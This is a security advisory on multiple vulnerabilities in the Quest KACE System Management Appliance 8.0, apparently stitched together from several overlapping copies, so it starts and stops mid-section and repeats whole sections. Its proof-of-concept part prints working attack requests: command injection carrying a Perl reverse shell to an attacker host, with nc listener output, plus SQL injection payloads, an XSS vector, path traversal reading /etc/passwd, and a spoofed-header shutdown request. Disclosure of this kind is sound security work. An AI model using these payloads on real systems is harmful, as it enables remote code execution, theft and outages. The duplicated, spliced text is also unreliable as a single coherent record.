communications between parties in order to better document the process and communicated the next steps of the process including: 1. Testing the fix (if vendor agrees), 2. Get CVE-IDs, 3. Get a Vendor's link to be included in the advisory and finally 4. Send final advisory version to vendor and coordinate publication date together. With regards to Quest's requests, Core provided the researchers names and URL of the advisory when it will be published. Finally, Core stated that the request for other Core company services could be forwarded to the Core services team if needed (and asked the right contact at Quest) but our intention is to keep that services request separate from the coordinated disclosure process. 2018-04-18: Quest Support informed that they had publicly made available patches for its customers and unilaterally closed the case. 2018-05-31: Advisory CORE-2018-0004 published. 9. *References* [1] https://www.quest.com/products/kace-systems-management-appliance/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber-attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity amp; access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

In order to perform actions that requires higher privileges, the Quest KACE System Management Appliance 8.0.318 relies on a message queue managed that runs with root privileges and only allows a set of commands. One of the available commands allows changing any user's password (including root). A low-privilege user could abuse this feature by changing the password of the 'kace_support' account, which comes disabled by default but has full sudo privileges. Quest KACE System Management Appliance Contains a vulnerability related to the password management function.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. QuestKACESystemManagementAppliance is an IT asset management device from QuestSoftware, USA. A security vulnerability exists in the QuestKACESystemManagementAppliance 8.0.318 release. An attacker could use this vulnerability to change the \342\200\230kace_support\342\200\231 account password. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Quest KACE System Management Appliance Multiple Vulnerabilities 1. *Advisory Information* Title: Quest KACE System Management Appliance Multiple Vulnerabilities Advisory ID: CORE-2018-0004 Advisory URL: http://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities Date published: 2018-05-31 Date of last update: 2018-05-22 Vendors contacted: Quest Software Inc. Release mode: Forced release 2. *Vulnerability Information* Class: Improper Neutralization of Special Elements used in an OS Command [CWE-78], Improper Neutralization of Special Elements used in an OS Command [CWE-78], Deserialization of Untrusted Data [CWE-502], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Authorization [CWE-285], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Input During Web Page Generation [CWE-79], External Control of File Name or Path [CWE-73], External Control of File Name or Path [CWE-73] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-11138, CVE-2018-11139, CVE-2018-11135, CVE-2018-11134, CVE-2018-11132, CVE-2018-11142, CVE-2018-11136, CVE-2018-11140, CVE-2018-11133, CVE-2018-11137, CVE-2018-11141 3. *Vulnerability Description* >From Quest KACE's website: "The KACE Systems Management Appliance [1] provides your growing organization with comprehensive management of network-connected devices, including servers, PCs, Macs, Chromebooks, tablets, printers, storage, networking gear and the Internet of Things (IoT). KACE can fulfill all of your organization's systems management needs, from initial deployment to ongoing management and retirement." Multiple vulnerabilities were found in the Quest KACE System Management Virtual Appliance that would allow a remote attacker to gain command execution as root. We present three vectors to achieve this, including one that can be exploited as an unauthenticated user. Additional web application vulnerabilities were found in the web console that is bundled with the product. These vulnerabilities are detailed in section 7. Note: This advisory has limited details on the vulnerabilities because during the attempted coordinated disclosure process, Quest advised us not to distribute our original findings to the public or else they would take legal action. Quest's definition of "responsible disclosure" can be found at https://support.quest.com/essentials/reporting-security-vulnerability. CoreLabs has been publishing security advisories since 1997 and believes in coordinated disclosure and good faith collaboration with software vendors before disclosure to help ensure that a fix or workaround solution is ready and available when the vulnerability details are publicized. We believe that providing technical details about each finding is necessary to provide users and organizations with enough information to understand the implications of the vulnerabilities against their environment and, most importantly, to prioritize the remediation activities aiming at mitigating risk. We regret Quest's posture on disclosure during the whole process (detailed in the Report Timeline section) and the lack of a possibility of engaging into a coordinated publication date, something we achieve (and have achieved) with many vendors as part of our coordinated disclosure practices. 4. *Vulnerable Packages* . Quest KACE System Management Appliance 8.0 (Build 8.0.318) Other products and versions might be affected too, but they were not tested. 5. *Vendor Information, Solutions and Workarounds* Quest reports that it has released the security vulnerability patch SEC2018_20180410 to address the reported vulnerabilities. Patch can be download at https://support.quest.com/download-install-detail/6086148. For more details, Quest published the following Security Note: https://support.quest.com/kace-systems-management-appliance/kb/254193/security-vulnerability-patch-sec2018_20180410- 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Guido Leo from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* Quest KACE SMA ships with a web console that provides administrators and users with several features. Multiple vulnerabilities were found in the context of this console, both from an authenticated and unauthenticated perspective. Section 7.1 describes how an unauthenticated attacker could gain command execution on the system as the web server user. Vulnerabilities described in 7.2 and 7.3 could also be abused to gain code execution but would require the attacker to have a valid authentication token. In addition, issues found in the Sudo Server module presented in 7.4 and 7.5 would allow the attacker to elevate his privileges from the web server user to root, effectively obtaining full control of the device. Additional web application vulnerabilities were found in the console, such as insufficient authorization for critical functions, which would allow an anonymous attacker to reconfigure the appliance (7.6), SQL injection vulnerabilities (7.7, 7,8), a cross-site scripting issue (7.9), and path traversal vulnerabilities, which would allow an attacker to read, write and delete arbitrary files (7.9, 7.10, 7.11). 7.1. *Unauthenticated command injection* [CVE-2018-11138] The '/common/download_agent_installer.php' script is accessible to anonymous users in order to download an agent for a specific platform. This behavior can be abused to execute arbitrary commands on the system. The script receives the following parameters via the GET method: . platform: Indicates the platform in which the agent is going to be installed . serv: SHA256 hash of a fixed value that depends of each appliance . orgid: Organization ID . version: Version number of the agent The last two conditions are simple to meet. The Agent versions are publicly available within the Quest KACE site, but even if they were not, we found that the Organization ID parameter is vulnerable to a time based SQL injection (refer to issue 7.7). This would make it possible to obtain the agent version by querying the table 'CLIENT_DISTRIBUTION' and fetching the contents of the 'VERSION' column. The Organization ID is 1 by default, but could be obtained in the same way as the Agent version by querying the table 'ORGANIZATION' and the column 'ID'. As stated above, the application uses the Organization ID and Agent version parameters to execute commands. This means we need to find a way to append system commands within the Organization ID, without breaking the SQL query. If we use the comment symbol (#), we can append anything we want without affecting the result of the query. Preparing payload: /----- - platform = windows - serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c - orgid = 1#;perl -e 'use Socket;$i="[AttackerIP]";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'; - version = 8.0.152 (last agent version available for windows) -----/ The following proof of concept executes a reverse shell: /----- GET /common/download_agent_installer.php?platform=windows&serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c&orgid=1%23%3bperl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b'%3b&version=8.0.152 HTTP/1.1 Host: Server Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0 -----/ /----- $ nc -lvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050) sh: can't access tty; job control turned off $ id uid=80(www) gid=80(www) groups=80(www) -----/ 7.2. *Authenticated command injection* [CVE-2018-11139] The '/common/ajax_email_connection_test.php' script used to test the configured SMTP server is accessible by any authenticated user and can be abused to execute arbitrary commands on the system. This script is vulnerable to command injection via the unsanitized user input 'TEST_SERVER' sent to the script via POST method. The following proof of concept executes a reverse shell: /----- POST /common/ajax_email_connection_test.php HTTP/1.1 Host: [ServerIP] Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 416 Cookie: [Cookie] Connection: close TEST_SERVER=test;perl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b';&TEST_PORT=587&TEST_USERNAME=eaea@eaea.com&TEST_PASSWORD=1234&TEST_OLD_PASSWORD=&QUEUE_ID=1&TEST_TO_EMAIL=eaea@eaea.com&ACTION=TEST_CONNECTION_SMTP -----/ /----- $ nc -lvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050) sh: can't access tty; job control turned off $ id uid=80(www) gid=80(www) groups=80(www) -----/ 7.3. *PHP Object Injection leading to arbitrary command execution* [CVE-2018-11135] An authenticated user could abuse a deserialization call on the script '/adminui/error_details.php' to inject arbitrary PHP objects. To exploit this issue, the parameter 'ERROR_MESSAGES' needs to be an array and meet some specific conditions in order to successfully exploit the issue. 7.4. 7.5. 7.6. *Insufficient Authorization for critical function* [CVE-2018-11142] 'systemui/settings_network.php' and 'systemui/settings_patching.php' scripts are accessible only from localhost. This restriction can be bypassed by modifying the 'Host' and 'X_Forwarded_For' HTTP headers. The following proof of concept abuses this vulnerability to shutdown the server as an anonymous user: /----- POST /systemui/settings_network.php HTTP/1.1 Host: localhost X-Forwarded-For: ::1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIp]/systemui/settings_network.php Content-Type: multipart/form-data; boundary=---------------------------5642543667001619951434940129 Content-Length: 3418 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------5642543667001619951434940129 Content-Disposition: form-data; name="CSRF_TOKEN" -----------------------------5642543667001619951434940129 Content-Disposition: form-data; name="$shutdown" DoIt! Content-Disposition: form-data; name="save" Save -----------------------------5642543667001619951434940129-- -----/ 7.7. *Unauthenticated SQL Injection in download_agent_installer.php* [CVE-2018-11136] The 'orgID' parameter received by the '/common/download_agent_installer.php' script is not sanitized, leading to SQL injection. In particular, a blind time based type. The following proof of concept induces a time delay: /----- http://[ServerIP]/common/download_agent_installer.php?platform=windows&serv=58b9e89c12f57e492df8f1d744b6ed5a4d394b454ca8a99176caba35fd13ec1f&orgid=1 AND SLEEP(10)%23;&version=8.0.152 -----/ 7.8. *SQL Injection in run_report.php* [CVE-2018-11140] The 'reportID' parameter received by the '/common/run_report.php' script is not sanitized, leading to SQL injection. In particular, an error based type. The following proof of concept retrieves the current database name: /----- POST /common/run_report.php HTTP/1.1 Content-Length: 161 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: [ServerIP] Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Referer: http://[ServerIP]/adminui/analysis_report_list.php?CATEGORY_ID= Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Cookie: [Cookie] date=1516135247598&reportId=-3161+UNION+ALL+SELECT+CONCAT(0x7170706a71,IFNULL(CAST(DATABASE()+AS+CHAR),0x20),0x716a707171),NULL--+LhEx&reportName=&format=pdf -----/ /----- HTTP/1.1 200 OK Date: Thu, 08 Feb 2018 21:50:21 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS X-KACE-Appliance: K1000 X-KACE-Host: [ServerIP] X-KACE-Version: 8.0.318 X-KBOX-WebServer: [ServerIP] X-KBOX-Version: 8.0.318 X-KACE-WebServer: [ServerIP] X-UA-Compatible: IE=9,EDGE Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Content-Length: 3548 Connection: close Content-Type: text/html; charset=utf-8 [...SNIPPED...] <script type="text/javascript" src="/common/js/vendor/html5.js?BUILD=318" /></script> <![endif]--><title>Report Queued: qppjqORG1qjpqq</title><meta http-equiv='refresh' [...SNIPPED...] -----/ 7.9. *Unauthenticated Cross Site Scriting in run_cross_report.php* [CVE-2018-11133] The 'fmt' parameter of the '/common/run_cross_report.php' script is vulnerable to cross-site scripting. The following proof of concept demonstrates the vulnerability: /----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/ 7.10. *Path traversal in download_attachment.php leading to arbitrary file read* [CVE-2018-11137] The 'checksum' parameter of the '/common/download_attachment.php' script can be abused to read arbitrary files with 'www' privileges. The following proof of concept reads the '/etc/passwd' file. No administrator privileges are needed to execute this script. It is worth noting that there are several interesting files that can be read with 'www' privileges, such as all the files located in '/kbox/bin/koneas/keys/' and '/kbox/kboxwww/include/globals.inc', which contain plaintext passwords. /----- http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952 -----/ The following proof of concept demonstrates the vulnerability: /----- GET /common/download_attachment.php?checksum=/../../../../../../../../../../../etc/passwd&filename= HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Thu, 18 Jan 2018 17:18:19 GMT Server: Apache Cache-Control: must-revalidate, post-check=0, pre-check=0 Expires: -1 Pragma: public Content-Disposition: attachment; filename="" Content-Transfer-Encoding: Binary Content-Description: K1000 attachment Content-Length: 2400 Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS X-KACE-Appliance: K1000 X-KACE-Host: k10000. X-KACE-Version: 8.0.318 X-KBOX-WebServer: k10000. X-KBOX-Version: 8.0.318 X-KACE-WebServer: k10000. X-UA-Compatible: IE=9,EDGE Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Connection: close Content-Type: application/octet-stream # $FreeBSD: releng/11.0/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ # root:*:0:0:Charlie &:/root:/bin/csh daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin[...SNIPPED...] -----/ 7.11. *Path traversal in advisory.php leading to arbitrary file creation/deletion* [CVE-2018-11141] The 'IMAGES_JSON' and 'attachments_to_remove[]' parameters of the '/adminui/advisory.php' script can be abused to write and delete files respectively. The following proof of concept creates a file located at '/kbox/kboxwww/resources/TestWrite' with the content 'Sarasa' (base64 encoded). Files can be at any location where the 'www' user has write permissions. File deletion could be abused to delete '/kbox/kboxwww/systemui/reports/setup_completed.log' file. This file's existence defines if the appliance setup wizard is shown or not. The following proof of concept demonstrates the vulnerability: /----- POST /adminui/advisory.php?ID=10 HTTP/1.1 Host: [ServerIP] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://[ServerIP]/adminui/advisory.php?ID=10 Content-Type: multipart/form-data; boundary=---------------------------2671551246366368501556269100 Content-Length: 1705 Cookie: [Cookie] Connection: close Upgrade-Insecure-Requests: 1 -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="CSRF_TOKEN" 99c2addf067719d6fc3ae32ded351f000af8efdd091f162baa2a34516cefecc741cb13a69c80554a9ba32908d1c683102d3455eac39bcafc8854f46a04b2044e -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="IMAGES_JSON" {"/../../../resources/TestWrite":"aaaaaa,VGVzdENvbnRlbnQ="} -----------------------------2671551246366368501556269100 Content-Disposition: form-data; name="FARRAY[ID]" [...SNIPPED...] -----/ Taking advantage of 7.2 and 7.4 we are able to verify the file creation: /----- [root@k10000 /kbox/kboxwww/resources]# ls -lha total 32 drwxr-xr-x 2 www wheel 512B Feb 9 20:40 . drwxr-xr-x 23 root wheel 512B Nov 14 18:29 .. -rw-r--r-- 1 www wheel 11B Feb 9 20:40 TestWrite -----/ 8. *Report Timeline* 2018-02-26: Core Security (Core) sent an initial notification to Quest Software Inc. (Quest) via web form. 2018-03-05: Quest Support confirmed the receipt and requested additional information. 2018-03-12: Core Security sent a draft advisory including a technical description. 2018-03-16: Quest Support asked for the CVE-IDs. 2018-03-16: Core Security answered saying that the CVE-IDs are required once the vendor verifies the vulnerabilities. Additionally, Core Security requested a confirmation about the reported vulnerabilities and a tentative timescale to fix them. Finally, Core Security requested that Quest use Core's advisories-publication email address as the official communication hannel also copying the researchers behind this discovery. 2018-03-16: Quest Support thanked Core's reply and stated it will be in touch during the process. 2018-03-20: Quest Support informed that they had not yet received any updates from the engineering team and had requested one. 2018-03-21: Quest Support requested information about the KACE version used for reporting the issues and also Core's company name and information. 2018-03-21: Core replied with the affected version (that was included in the original draft advisory) and a link to the Core company website and the list of previous security advisories. 2018-03-21: Quest Support acknowledged the information provided. 2018-03-26: Quest's KACE product manager (PM) thanked Core for making it aware of the security issues found and the level of thoroughness and details provided. Quest specified it had fixes already in place for some of the issues. Quest's KACE PM asked for a conference call in order to understand more about Core's offerings for future engagements. Finally, Quest's KACE PM notified the work done by Core is in breach of its license agreement, and requested Core not to distribute the findings to the public, otherwise uest would take legal action. 2018-04-13: Quest's KACE PM sent a follow up email and informed that it made a hotfix to patch the reported vulnerabilities. Quest also requested a call meeting to understand future opportunities based on the Core's company capabilities. Finally, Quest asked for information about the researcher that found the vulnerabilities and a link of Core's choosing in order to be included in Quest's Acknowledgment page (https://support.quest.com/essentials/vulnerability-reporting-acknowledgements). 2018-04-16: Core answered email from 2018-03-26 stating the company is following standard practices with regards to coordinated vulnerability disclosure, and also sent detailed technical information about our findings at Quest's request. Core also mentioned Quest seems to be well versed in the disclosure process and expects vendors to coordinate with it prior to publication via Quest's vulnerability reporting process, and that Quest's legal threat appears to be in direct contradiction to the disclosure process that they encourage on their website. Finally, Core asked about Quest's intention to work collaboratively to address these vulnerabilities and to follow industry standard disclosure processes that involves publication of the vulnerabilities. 2018-04-17: Quest's KACE PM replied saying it is willing to collaborate and is looking forward to having a conversation over the phone in order to continue the next steps in its vulnerability process (forwarded email from 2018-04-13). 2018-04-17: Core thanked the answer and stated the willingness of keeping written communications between parties in order to better document the process and communicated the next steps of the process including: 1. Testing the fix (if vendor agrees), 2. Get CVE-IDs, 3. Get a Vendor's link to be included in the advisory and finally 4. Send final advisory version to vendor and coordinate publication date together. With regards to Quest's requests, Core provided the researchers names and URL of the advisory when it will be published. Finally, Core stated that the request for other Core company services could be forwarded to the Core services team if needed (and asked the right contact at Quest) but our intention is to keep that services request separate from the coordinated disclosure process. 2018-04-18: Quest Support informed that they had publicly made available patches for its customers and unilaterally closed the case. 2018-05-31: Advisory CORE-2018-0004 published. 9. *References* [1] https://www.quest.com/products/kace-systems-management-appliance/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber-attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity amp; access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

The 'orgID' parameter received by the '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is not sanitized, leading to SQL injection (in particular, a blind time-based type). Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Quest KACE System Management Appliance Multiple Vulnerabilities 1. *Advisory Information* Title: Quest KACE System Management Appliance Multiple Vulnerabilities Advisory ID: CORE-2018-0004 Advisory URL: http://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities Date published: 2018-05-31 Date of last update: 2018-05-22 Vendors contacted: Quest Software Inc. Release mode: Forced release 2. *Vulnerability Information* Class: Improper Neutralization of Special Elements used in an OS Command [CWE-78], Improper Neutralization of Special Elements used in an OS Command [CWE-78], Deserialization of Untrusted Data [CWE-502], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Authorization [CWE-285], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Input During Web Page Generation [CWE-79], External Control of File Name or Path [CWE-73], External Control of File Name or Path [CWE-73] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-11138, CVE-2018-11139, CVE-2018-11135, CVE-2018-11134, CVE-2018-11132, CVE-2018-11142, CVE-2018-11136, CVE-2018-11140, CVE-2018-11133, CVE-2018-11137, CVE-2018-11141 3. *Vulnerability Description* >From Quest KACE's website: "The KACE Systems Management Appliance [1] provides your growing organization with comprehensive management of network-connected devices, including servers, PCs, Macs, Chromebooks, tablets, printers, storage, networking gear and the Internet of Things (IoT). KACE can fulfill all of your organization's systems management needs, from initial deployment to ongoing management and retirement." Multiple vulnerabilities were found in the Quest KACE System Management Virtual Appliance that would allow a remote attacker to gain command execution as root. We present three vectors to achieve this, including one that can be exploited as an unauthenticated user. Additional web application vulnerabilities were found in the web console that is bundled with the product. These vulnerabilities are detailed in section 7. Note: This advisory has limited details on the vulnerabilities because during the attempted coordinated disclosure process, Quest advised us not to distribute our original findings to the public or else they would take legal action. Quest's definition of "responsible disclosure" can be found at https://support.quest.com/essentials/reporting-security-vulnerability. CoreLabs has been publishing security advisories since 1997 and believes in coordinated disclosure and good faith collaboration with software vendors before disclosure to help ensure that a fix or workaround solution is ready and available when the vulnerability details are publicized. We believe that providing technical details about each finding is necessary to provide users and organizations with enough information to understand the implications of the vulnerabilities against their environment and, most importantly, to prioritize the remediation activities aiming at mitigating risk. We regret Quest's posture on disclosure during the whole process (detailed in the Report Timeline section) and the lack of a possibility of engaging into a coordinated publication date, something we achieve (and have achieved) with many vendors as part of our coordinated disclosure practices. 4. *Vulnerable Packages* . Quest KACE System Management Appliance 8.0 (Build 8.0.318) Other products and versions might be affected too, but they were not tested. 5. *Vendor Information, Solutions and Workarounds* Quest reports that it has released the security vulnerability patch SEC2018_20180410 to address the reported vulnerabilities. Patch can be download at https://support.quest.com/download-install-detail/6086148. For more details, Quest published the following Security Note: https://support.quest.com/kace-systems-management-appliance/kb/254193/security-vulnerability-patch-sec2018_20180410- 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Guido Leo from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* Quest KACE SMA ships with a web console that provides administrators and users with several features. Multiple vulnerabilities were found in the context of this console, both from an authenticated and unauthenticated perspective. Section 7.1 describes how an unauthenticated attacker could gain command execution on the system as the web server user. Vulnerabilities described in 7.2 and 7.3 could also be abused to gain code execution but would require the attacker to have a valid authentication token. In addition, issues found in the Sudo Server module presented in 7.4 and 7.5 would allow the attacker to elevate his privileges from the web server user to root, effectively obtaining full control of the device. Additional web application vulnerabilities were found in the console, such as insufficient authorization for critical functions, which would allow an anonymous attacker to reconfigure the appliance (7.6), SQL injection vulnerabilities (7.7, 7,8), a cross-site scripting issue (7.9), and path traversal vulnerabilities, which would allow an attacker to read, write and delete arbitrary files (7.9, 7.10, 7.11). 7.1. *Unauthenticated command injection* [CVE-2018-11138] The '/common/download_agent_installer.php' script is accessible to anonymous users in order to download an agent for a specific platform. This behavior can be abused to execute arbitrary commands on the system. The script receives the following parameters via the GET method: . platform: Indicates the platform in which the agent is going to be installed . serv: SHA256 hash of a fixed value that depends of each appliance . orgid: Organization ID . version: Version number of the agent The last two conditions are simple to meet. The Agent versions are publicly available within the Quest KACE site, but even if they were not, we found that the Organization ID parameter is vulnerable to a time based SQL injection (refer to issue 7.7). This would make it possible to obtain the agent version by querying the table 'CLIENT_DISTRIBUTION' and fetching the contents of the 'VERSION' column. The Organization ID is 1 by default, but could be obtained in the same way as the Agent version by querying the table 'ORGANIZATION' and the column 'ID'. As stated above, the application uses the Organization ID and Agent version parameters to execute commands. This means we need to find a way to append system commands within the Organization ID, without breaking the SQL query. If we use the comment symbol (#), we can append anything we want without affecting the result of the query. Preparing payload: /----- - platform = windows - serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c - orgid = 1#;perl -e 'use Socket;$i="[AttackerIP]";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'; - version = 8.0.152 (last agent version available for windows) -----/ The following proof of concept executes a reverse shell: /----- GET /common/download_agent_installer.php?platform=windows&serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c&orgid=1%23%3bperl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b'%3b&version=8.0.152 HTTP/1.1 Host: Server Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 0 -----/ /----- $ nc -lvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050) sh: can't access tty; job control turned off $ id uid=80(www) gid=80(www) groups=80(www) -----/ 7.2. *Authenticated command injection* [CVE-2018-11139] The '/common/ajax_email_connection_test.php' script used to test the configured SMTP server is accessible by any authenticated user and can be abused to execute arbitrary commands on the system. This script is vulnerable to command injection via the unsanitized user input 'TEST_SERVER' sent to the script via POST method. The following proof of concept executes a reverse shell: /----- POST /common/ajax_email_connection_test.php HTTP/1.1 Host: [ServerIP] Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 416 Cookie: [Cookie] Connection: close TEST_SERVER=test;perl+-e+'use+Socket%3b$i%3d"[AttackerIP]"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b';&TEST_PORT=587&TEST_USERNAME=eaea@eaea.com&TEST_PASSWORD=1234&TEST_OLD_PASSWORD=&QUEUE_ID=1&TEST_TO_EMAIL=eaea@eaea.com&ACTION=TEST_CONNECTION_SMTP -----/ /----- $ nc -lvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [ServerIP] 